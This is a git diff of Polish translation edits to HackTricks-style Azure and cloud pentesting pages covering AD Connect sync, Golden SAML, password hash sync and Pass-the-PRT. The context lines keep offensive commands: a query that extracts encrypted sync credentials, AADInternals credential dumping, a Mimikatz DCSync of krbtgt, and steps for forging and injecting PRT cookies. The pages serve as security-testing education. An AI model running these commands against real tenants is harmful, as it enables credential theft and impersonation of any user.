b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 0cbb1d036..f8bc61706 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -4,7 +4,7 @@ ## Synchronizacja użytkowników AzureAD z on-prem w celu eskalacji z on-prem do AzureAD -Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, wymagane są następujące warunki: +Aby zsynchronizować nowego użytkownika **z AzureAD do on-prem AD**, należy spełnić następujące wymagania: - Użytkownik **AzureAD** musi mieć adres proxy (**skrzynkę pocztową**) - Licencja nie jest wymagana diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 4466c0a60..1cba7b766 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -10,7 +10,7 @@ Możesz **federować swoje lokalne** środowisko **z Azure AD** i używać tej f
-W zasadzie, w Federacji, wszystkie **uwierzytelnienia** odbywają się w **lokalnym** środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą **uzyskiwać dostęp** do aplikacji **chmurowych** używając swoich **lokalnych poświadczeń**. +W zasadzie, w Federacji, wszystkie **uwierzytelnienia** odbywają się w **lokalnym** środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą **uzyskiwać dostęp** do **aplikacji** w **chmurze**, używając swoich **lokalnych poświadczeń**. **Security Assertion Markup Language (SAML)** jest używany do **wymiany** wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami. @@ -25,9 +25,9 @@ W każdej konfiguracji federacyjnej są trzy strony:
1. Początkowo aplikacja (Dostawca usług lub SP, taka jak konsola AWS lub klient webowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca tożsamości) w zależności od konkretnej implementacji. -2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP. +2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie SAML (Security Assertion Markup Language) AuthnRequest i przekierowuje klienta do wybranego IdP. 3. IdP przejmuje kontrolę, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika. -4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To kończy proces logowania, umożliwiając użytkownikowi korzystanie z usługi. +4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To oznacza zakończenie procesu logowania, umożliwiając użytkownikowi korzystanie z usługi. **Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:** @@ -38,9 +38,9 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting - AD FS to model tożsamości oparty na roszczeniach. -- "..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), dotyczące użytkowników, które są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie." -- Roszczenia dla użytkownika są zapisane w tokenach SAML i są następnie podpisywane, aby zapewnić poufność przez IdP. -- Użytkownik jest identyfikowany przez ImmutableID. Jest on globalnie unikalny i przechowywany w Azure AD. +- "..roszczenia to po prostu stwierdzenia (na przykład, imię, tożsamość, grupa), które są składane o użytkownikach i są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się wszędzie w Internecie." +- Roszczenia dla użytkownika są zapisywane wewnątrz tokenów SAML i są następnie podpisywane, aby zapewnić poufność przez IdP. +- Użytkownik jest identyfikowany przez ImmutableID. Jest globalnie unikalny i przechowywany w Azure AD. - ImmutableID jest przechowywany lokalnie jako ms-DS-ConsistencyGuid dla użytkownika i/lub może być wyprowadzony z GUID użytkownika. - Więcej informacji w [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) @@ -48,19 +48,19 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks - W ADFS, SAML Response jest podpisywany przez certyfikat podpisywania tokenów. - Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie do Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD! -- Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego wpływu, ponieważ fałszujemy odpowiedź uwierzytelniającą. -- Certyfikat może być wyodrębniony z serwera AD FS z uprawnieniami DA, a następnie może być użyty z dowolnej maszyny podłączonej do internetu. +- Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego efektu, ponieważ fałszujemy odpowiedź uwierzytelniającą. +- Certyfikat może być wyodrębniony z serwera AD FS z uprawnieniami DA, a następnie może być użyty z dowolnej maszyny podłączonej do Internetu. - Więcej informacji w [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -Proces, w którym **Dostawca tożsamości (IdP)** produkuje **SAMLResponse** w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, **odpowiedź** może być **podpisana** lub **szyfrowana** przy użyciu **prywatnego klucza IdP**. Procedura ta umożliwia **Dostawcy usług (SP)** potwierdzenie autentyczności SAMLResponse, zapewniając, że rzeczywiście została wydana przez zaufany IdP. +Proces, w którym **Dostawca tożsamości (IdP)** produkuje **SAMLResponse** w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, **odpowiedź** może być **podpisana** lub **szyfrowana** przy użyciu **prywatnego klucza IdP**. Ta procedura umożliwia **Dostawcy usług (SP)** potwierdzenie autentyczności SAMLResponse, zapewniając, że został on rzeczywiście wydany przez zaufany IdP. Można to porównać z [atakiem na złoty bilet](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotego SAML) może być manipulowany w celu **fałszowania obiektu uwierzytelniającego** (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP. Złote SAML oferują pewne zalety: -- Mogą być **tworzone zdalnie**, bez potrzeby bycia częścią domeny lub federacji w danym przypadku. +- Mogą być **tworzone zdalnie**, bez potrzeby bycia częścią domeny lub federacji. - Pozostają skuteczne nawet przy włączonym **uwierzytelnianiu dwuskładnikowym (2FA)**. - Prywatny klucz podpisywania **tokenów nie odnawia się automatycznie**. - **Zmiana hasła użytkownika nie unieważnia** już wygenerowanego SAML. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index 3c28d272f..ba1ff4691 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -13,15 +13,15 @@ To **najczęściej stosowana metoda** używana przez firmy do synchronizacji lok Wszystkie **użytkownicy** oraz **hash haseł** są synchronizowane z lokalnego AD do Azure AD. Jednak **hasła w postaci czystego tekstu** ani **oryginalne** **hasze** nie są wysyłane do Azure AD.\ Ponadto, **Wbudowane** grupy zabezpieczeń (jak administratorzy domeny...) **nie są synchronizowane** z Azure AD. -**Synchronizacja hashy** odbywa się co **2 minuty**. Jednak domyślnie **wygasanie haseł** i **wygasanie kont** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zostało zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła. +**Synchronizacja haszy** odbywa się co **2 minuty**. Jednak domyślnie **wygasanie haseł** i **wygasanie kont** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zostało zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła. Gdy lokalny użytkownik chce uzyskać dostęp do zasobu Azure, **uwierzytelnienie odbywa się w Azure AD**. -**PHS** jest wymagane dla funkcji takich jak **Ochrona tożsamości** i usługi domenowe AAD. +**PHS** jest wymagany dla funkcji takich jak **Ochrona tożsamości** i usługi domenowe AAD. ## Pivoting -Gdy PHS jest skonfigurowane, niektóre **uprzywilejowane konta** są automatycznie **tworzone**: +Gdy PHS jest skonfigurowany, niektóre **uprzywilejowane konta** są automatycznie **tworzone**: - Konto **`MSOL_`** jest automatycznie tworzone w lokalnym AD. To konto otrzymuje rolę **Konta synchronizacji katalogu** (zobacz [dokumentację](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), co oznacza, że ma **uprawnienia replikacji (DCSync) w lokalnym AD**. - Konto **`Sync__installationID`** jest tworzone w Azure AD. To konto może **resetować hasło DOWOLNEGO użytkownika** (synchronizowanego lub tylko w chmurze) w Azure AD. @@ -33,7 +33,7 @@ Możliwe jest wydobycie konfiguracji z jednej z tabel, z których jedna jest zas `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -**Zaszyfrowana konfiguracja** jest szyfrowana za pomocą **DPAPI** i zawiera **hasła użytkowników `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitując te dane, możliwe jest uzyskanie podwyższonych uprawnień do AD i AzureAD. +**Zaszyfrowana konfiguracja** jest zaszyfrowana za pomocą **DPAPI** i zawiera **hasła użytkowników `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitacja tych danych umożliwia podniesienie uprawnień do AD i AzureAD. Możesz znaleźć [pełny przegląd tego, jak te poświadczenia są przechowywane i odszyfrowywane w tej prezentacji](https://www.youtube.com/watch?v=JEIR5oGCwdg). @@ -56,8 +56,8 @@ Get-AADIntSyncCredentials runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` -> [!OSTRZEŻENIE] -> Możesz również użyć [**adconnectdump**](https://github.com/dirkjanm/adconnectdump), aby uzyskać te dane uwierzytelniające. +> [!CAUTION] +> Możesz również użyć [**adconnectdump**](https://github.com/dirkjanm/adconnectdump), aby uzyskać te poświadczenia. ### Wykorzystywanie Sync\_\* diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 03807652a..1d7e756b0 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -22,7 +22,7 @@ W tym samym wyniku możesz również zobaczyć, czy **urządzenie jest dołączo ## PRT Cookie -Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest to JSON Web Token (JWT). JWT zawiera **3 części**, **nagłówek**, **ładunek** i **podpis**, podzielone przez `.` i wszystkie zakodowane w bezpiecznym dla URL formacie base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało: +Ciasteczko PRT nazywa się właściwie **`x-ms-RefreshTokenCredential`** i jest to JSON Web Token (JWT). JWT zawiera **3 części**, **nagłówek**, **ładunek** i **podpis**, podzielone przez `.` i wszystkie zakodowane w bezpiecznym dla URL base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało: ```json { "alg": "HS256", @@ -38,7 +38,7 @@ Aktualny **Primary Refresh Token (PRT)** jest enkapsulowany w **`refresh_token`* ### Przepływ ciasteczka PRT z użyciem TPM -Proces **LSASS** wyśle do TPM **KDF context**, a TPM użyje **session key** (zgromadzonego, gdy urządzenie zostało zarejestrowane w AzureAD i przechowywanego w TPM) oraz poprzedniego kontekstu, aby **wyprowadzić** **klucz**, a ten **wyprowadzony klucz** jest używany do **podpisania ciasteczka PRT (JWT).** +Proces **LSASS** wyśle do TPM **KDF context**, a TPM użyje **session key** (zgromadzonego, gdy urządzenie zostało zarejestrowane w AzureAD i przechowywanego w TPM) oraz poprzedniego kontekstu, aby **wyprowadzić** **key,** a ten **wyprowadzony klucz** jest używany do **podpisania ciasteczka PRT (JWT).** **KDF context** to nonce z AzureAD i PRT tworzący **JWT** zmieszany z **kontekstem** (losowe bajty). @@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), wyczyść wszystkie pliki cookie dla login.microsoftonline.com i wprowadź nowe ciasteczko. +Przejdź do [https://login.microsoftonline.com](https://login.microsoftonline.com), wyczyść wszystkie pliki cookie dla login.microsoftonline.com i wprowadź nowe pliki cookie. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -145,7 +145,7 @@ HttpOnly: Set to True (checked) ``` Następnie przejdź do [https://portal.azure.com](https://portal.azure.com) -> [!CAUTION] +> [!OSTRZEŻENIE] > Reszta powinna być domyślnymi ustawieniami. Upewnij się, że możesz odświeżyć stronę i ciasteczko nie znika; jeśli tak, mogłeś popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie znika, powinno być w porządku. ### Atak - Mimikatz @@ -156,13 +156,13 @@ Następnie przejdź do [https://portal.azure.com](https://portal.azure.com) 2. **Następnie wyodrębniany jest Klucz Sesji**. Ponieważ ten klucz jest początkowo wydawany, a następnie ponownie szyfrowany przez lokalne urządzenie, wymaga odszyfrowania przy użyciu klucza głównego DPAPI. Szczegółowe informacje na temat DPAPI (Data Protection API) można znaleźć w tych zasobach: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), a aby zrozumieć jego zastosowanie, zapoznaj się z [atakiem Pass-the-cookie](az-pass-the-cookie.md). 3. Po odszyfrowaniu Klucza Sesji, **uzyskiwany jest klucz pochodny i kontekst dla PRT**. Są one kluczowe dla **utworzenia ciasteczka PRT**. Konkretnie, klucz pochodny jest używany do podpisania JWT (JSON Web Token), które stanowi ciasteczko. Szczegółowe wyjaśnienie tego procesu zostało przedstawione przez Dirka-jana, dostępne [tutaj](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). -> [!CAUTION] +> [!OSTRZEŻENIE] > Zauważ, że jeśli PRT znajduje się w TPM, a nie w `lsass`, **mimikatz nie będzie w stanie go wyodrębnić**.\ > Jednak możliwe będzie **uzyskanie klucza z klucza pochodnego z kontekstu** z TPM i użycie go do **podpisania ciasteczka (sprawdź opcję 3).** Możesz znaleźć **szczegółowe wyjaśnienie przeprowadzonego procesu** w celu wyodrębnienia tych szczegółów tutaj: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) -> [!WARNING] +> [!OSTRZEŻENIE] > To nie zadziała dokładnie po poprawkach z sierpnia 2021 roku, aby uzyskać tokeny PRT innych użytkowników, ponieważ tylko użytkownik może uzyskać swój PRT (lokalny administrator nie może uzyskać dostępu do PRT innych użytkowników), ale może uzyskać dostęp do swojego. Możesz użyć **mimikatz** do wyodrębnienia PRT: diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index f4be5d3b9..02dea954f 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -Aby rozpocząć testy, powinieneś mieć dostęp z użytkownikiem z **uprawnieniami Czytelnika do subskrypcji** oraz **rolą Global Reader w AzureAD**. Jeśli nawet w tym przypadku **nie masz dostępu do zawartości kont Storage**, możesz to naprawić za pomocą **roli Storage Account Contributor**. +Aby rozpocząć testy, powinieneś mieć dostęp z użytkownikiem z **uprawnieniami Czytelnika do subskrypcji** oraz **rolą Global Reader w AzureAD**. Jeśli nawet w tym przypadku **nie możesz uzyskać dostępu do zawartości kont Storage**, możesz to naprawić za pomocą **roli Storage Account Contributor**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index fcf969ab7..fb265ddc9 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -16,21 +16,21 @@ Każda chmura ma swoje własne szczególności, ale ogólnie istnieje kilka **ws - To pozwoli Ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym - To bardzo pomoże w następnych krokach - **Sprawdź wystawione zasoby** -- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w jakiś sposób do Internetu i jak można to uzyskać. +- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w Internecie i jak można to uzyskać. - Tutaj mam na myśli **ręcznie wystawioną infrastrukturę**, taką jak instancje z stronami internetowymi lub innymi portami, które są wystawione, a także inne **usługi zarządzane w chmurze, które mogą być skonfigurowane** do wystawienia (takie jak bazy danych lub kosze) - Następnie powinieneś sprawdzić **czy ten zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?) - **Sprawdź uprawnienia** -- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdej roli/użytkownika** w chmurze i jak są one używane +- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdego roli/użytkownika** w chmurze i jak są one używane - Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych sprawdzeń powinna być już wykonana w testach standardów - Jeśli klient korzysta z OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak każda rola jest przypisywana** (to nie to samo, co przypisanie roli administratora do 1 użytkownika lub do 100) - **Nie wystarczy znaleźć**, którzy użytkownicy mają **uprawnienia administratora** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**. -- Co więcej, istnieją **potencjalne ścieżki privesc**, które można śledzić, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc** powinno być zgłoszonych. +- Co więcej, istnieją **potencjalne ścieżki privesc**, które można śledzić, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę i **jak najwięcej ścieżek privesc powinno być** zgłoszonych. - **Sprawdź integracje** - Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w środowisku chmurowym. - Dla **integracji chmury, którą audytujesz** z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużywania) tej integracji** i powinieneś zapytać **jak wrażliwa** jest wykonywana akcja.\ Na przykład, kto może pisać w koszu AWS, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest akcja w GCP w związku z tymi danymi). - Dla **integracji wewnątrz chmury, którą audytujesz** z zewnętrznych platform, powinieneś zapytać **kto ma dostęp zewnętrzny do (nadużywania) tej integracji** i sprawdzić, jak te dane są używane.\ -Na przykład, jeśli usługa korzysta z obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS. +Na przykład, jeśli usługa korzysta z obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje i dostęp uzyska ten obraz po uruchomieniu w chmurze AWS. ## Narzędzia Multi-Cloud @@ -115,7 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="Zainstaluj" }} +{{#tab name="Instalacja" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -242,7 +242,7 @@ Nessus ma skan _**Audit Cloud Infrastructure**_ wspierający: AWS, Azure, Office ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist to **narzędzie multi-cloud do uzyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury. +Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury. {{#tabs }} {{#tab name="Cloudlist" }} @@ -412,7 +412,7 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy "graf ataku" zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) tworzy "graf ataku" zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty. ### Office365